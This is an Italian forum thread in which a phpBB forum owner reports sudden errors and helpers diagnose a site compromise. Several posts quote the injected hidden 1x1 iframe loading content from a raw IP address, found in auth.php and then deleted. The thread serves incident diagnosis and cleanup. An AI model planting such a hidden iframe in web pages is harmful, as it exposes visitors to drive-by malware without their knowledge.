- Home
- Categorie
- Coding e Sistemistica
- CMS & Piattaforme Self-Hosted
- Oggi errori in page_header e session, cosa succede?
-
Oggi errori in page_header e session, cosa succede?
Ciao a tutti!
Questa mattina sono andato sul mio forum :
http://www.barattomusicale.com/forum/
e ho trovato tutti quegli errori in cima alla pagina, secondo voi cosa è successo?
Ieri era tutto ok e io non ho modificato niente!!!
Cosa devo fare?
-
mhh potresti fornire le linee di codice relative agli errori, sia nel auth.php che negli altri file?
-
Praticamente quando apro la home o la home del forum ho notato nella barra di stato in basso a sinistra il caricamento di una applet Java da un indirizzo sconosciuto!
Cosa può essere successo? Ho aperto un ticket per il supporto ma oggi naturalmente essendo domenica non c'è nessuno al lavoro!
-
ciao, ho dato una breve occhiata per quel che si può fare guardando il codice.
allora a prima vista c'è una cosa che non torna, c'è infatti un codice a piè della pagina:
[HTML]<iframe src='http://58.65.239.180/' width='1' height='1' style='visibility: hidden;'></iframe>[/HTML]
Cerando informazioni in merito si trova:
http://www.pcalsicuro.com/main/2007/04/roberto-vecchioni-vittima-della-vulnerabilita-ani
http://www.siteadvisor.com/sites/58.65.239.180/postid/?p=349225
Consiglio quindi un attenta analisi dei sorgenti del proprio sito alla ricerca del codice malware.
-
@gh3 said:
ciao, ho dato una breve occhiata per quel che si può fare guardando il codice.
allora a prima vista c'è una cosa che non torna, c'è infatti un codice a piè della pagina:
[html]<iframe src='http://58.65.239.180/' width='1' height='1' style='visibility: hidden;'></iframe>[/html]
Cerando informazioni in merito si trova:
http://www.pcalsicuro.com/main/2007/04/roberto-vecchioni-vittima-della-vulnerabilita-ani
http://www.siteadvisor.com/sites/58.65.239.180/postid/?p=349225
Consiglio quindi un attenta analisi dei sorgenti del proprio sito alla ricerca del codice malware.
Mamma mia! Non sò che fare! Metto subito il sito offline!
-
se hai accesso ftp, controllerei i file relativi all' header ( che è la parte alta del forum ) sia per quanto riguarda lo script che per quanto concerne il template.
-
@gh3 said:
se hai accesso ftp, controllerei i file relativi all' header ( che è la parte alta del forum ) sia per quanto riguarda lo script che per quanto concerne il template.
Grazie per l'aiuto! Ho aperto i file dove mi dava gli errori cioè :
page_header.php session.php e auth.php, per i primi due sembra tutto ok
in auth.php c'era questo :<iframe src='http://58.65.239.180/' width='1' height='1' style='visibility: hidden;'></iframe>L'ho cancellato e ora sembra tutto ok! Ora mi guardo tutti i file del sito!
Grazie Mille per l'aiuto!!!!!!!!! Veramente, grazie mille!
-
dovere
-
ti consiglierei comunque di valutare un aggiornamento del phpBB e mettere un controllo captcha aggiuntiva sulle iscrizioni o degli script antibot, non vorrei che fossero loro che facciano sql injection...
-
@gh3 said:
ti consiglierei comunque di valutare un aggiornamento del phpBB e mettere un controllo captcha aggiuntiva sulle iscrizioni o degli script antibot, non vorrei che fossero loro che facciano sql injection...
Grazie dei consigli anche se sono seriamente intenzionato a passare a Vbulletin anche se a pagamento...
-
domanda, per caso usi qualche sistema di statistiche gratuito?
perchè sentivo che potrebbe essere insita in quello la causa.
-
@gh3 said:
domanda, per caso usi qualche sistema di statistiche gratuito?
perchè sentivo che potrebbe essere insita in quello la causa.NO uso solo google analytics per il sito di annunci, per il forum niente.
-
sfatato allora l'opzione stats, grazie della dritta
-
hai uno spammer come ultimo utente registrato..toglilo "NicoloBueanta"
-
@autodafe said:
hai uno spammer come ultimo utente registrato..toglilo "NicoloBueanta"
Grazie della segnalazione! L'ho eliminato.
